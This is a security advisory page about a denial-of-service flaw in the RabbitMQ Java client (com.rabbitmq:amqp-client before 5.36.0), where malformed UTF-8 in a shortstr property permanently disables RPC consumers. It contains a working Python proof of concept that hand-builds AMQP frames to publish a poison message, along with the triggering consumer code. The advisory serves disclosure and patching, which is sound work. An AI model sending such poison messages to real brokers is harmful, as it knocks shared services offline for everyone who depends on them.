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Advisory · GitHub · Maven · com.rabbitmq:amqp-client

GHSA-7822-RCF6-97FX

RabbitMQ: Malformed UTF-8 in shortstr properties permanently disables RPC consumers

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CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -22 d de la divulgación
Exposición43 dDesde la divulgación, 7 oct 2026, 3:25 p. m.
Detección40 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 5.36.0
Monitoreo
Detectada
15 sept 26
7 oct 26
17 nov 26
19 nov 26
15 sept 26
2 oct 26
18 oct 26
3 nov 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 5.36.0 com.rabbitmq:amqp-client · -22 d desde divulgación
Divulgación Publicada GHSA-7822-RCF6-97FX divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

A single AMQP message with malformed UTF-8 in a shortstr property (for example `correlation-id`) can permanently disable a Java client RPC consumer.

The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked `IllegalArgumentException`. That kills the consumer loop or tears down the channel.

The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.

In short: the decoder produces values the encoder rejects, and any client permitted to *use* an RPC service can permanently destroy it for everyone.

Details

`ValueReader.readShortstr` decodes with `new String(b, StandardCharsets.UTF_8)`, which silently substitutes U+FFFD for malformed input:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75

`ValueWriter.writeShortstr` then rejects the result with an unchecked exception:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56

So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (`correlation-id`, `reply-to` used as a routing key, `message-id`, `type`, `app-id`) is affected.

Two consumption paths are impacted:

  1. `RpcServer.mainloop()` catches only `InterruptedException` and `ShutdownSignalException`, so the exception escapes and the loop thread dies silently:
  1. The pattern in the official tutorial (`basicConsume` + `DeliverCallback`, echoing `correlationId` and publishing to `replyTo`) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.

In both cases `autoAck` is `false` and the ack is never reached, so the message returns to the queue.

A related instance exists in the library's own recovery path: `RecordedConsumer.recover()` re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.

PoC

Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode `str` as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.

  1. Start a broker:
docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq
  1. Publish a message whose `correlation-id` is 255 × `0xFF`:
import socket, struct

def sstr(b):
    if isinstance(b, str): b = b.encode()
    return struct.pack(">B", len(b)) + b
def lstr(b): return struct.pack(">I", len(b)) + b
def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce"
def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a

QUEUE = "rpc.poison"
s = socket.create_connection(("127.0.0.1", 5672), timeout=10)

def rf():
    h = b""
    while len(h) < 7: h += s.recv(7 - len(h))
    t, ch, sz = struct.unpack(">BHI", h)
    p = b""
    while len(p) < sz: p += s.recv(sz - len(p))
    s.recv(1); return t, ch, p
def wait(c, mi):
    while True:
        t, ch, p = rf()
        if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]

s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10)
s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN")
    + lstr(b"\x00guest\x00guest") + sstr("en_US"))))
cm, fm, _ = struct.unpack(">HIH", wait(10, 30)[:8])   # must echo broker's limits
s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0))))
s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41)
s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11)
s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02"
    + struct.pack(">I", 0)))); wait(50, 11)

s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00")))
props = sstr(b"\xff" * 255) + sstr("some-reply-queue")   # correlation-id = bit 10, reply-to = bit 9
s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props))
s.sendall(fr(3, 1, b"poison"))

# close cleanly, otherwise the broker may not commit the publish
s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0))))
wait(10, 51); s.close()
print("published to", QUEUE)
  1. Run a consumer using the tutorial pattern against `rpc.poison`:
DeliverCallback cb = (tag, delivery) -> {
    AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder()
        .correlationId(delivery.getProperties().getCorrelationId()).build();
    channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8"));
    channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false);
};
channel.basicConsume("rpc.poison", false, cb, t -> {});

Observed:

java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255.
  at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...)
  at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753)
channel open after: false
queue depth after: 1

The same message run against `RpcServer.mainloop()` kills the loop thread instead, and re-kills it on every restart.

Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.

Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.

### Impact
Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
com.rabbitmq:amqp-client< 5.36.0
5.36.0
5.37.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
mavencom.rabbitmq:amqp-client
Corregida 5.36.0 -22 d 5.37.1 no afectada
Versiones corregidas5.36.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-106122
Otrahttps://github.com/rabbitmq/rabbitmq-java-client/security/advisories/GHSA-7822-rcf6-97fx
Otrahttps://github.com/rabbitmq/rabbitmq-java-client/pull/2065
Otrahttps://github.com/rabbitmq/rabbitmq-java-client/commit/b8bd750fa8c90690e859b18d6343b34421309020
Otrahttps://github.com/rabbitmq/rabbitmq-java-client
Otrahttps://github.com/rabbitmq/rabbitmq-java-client/releases/tag/v5.36.0

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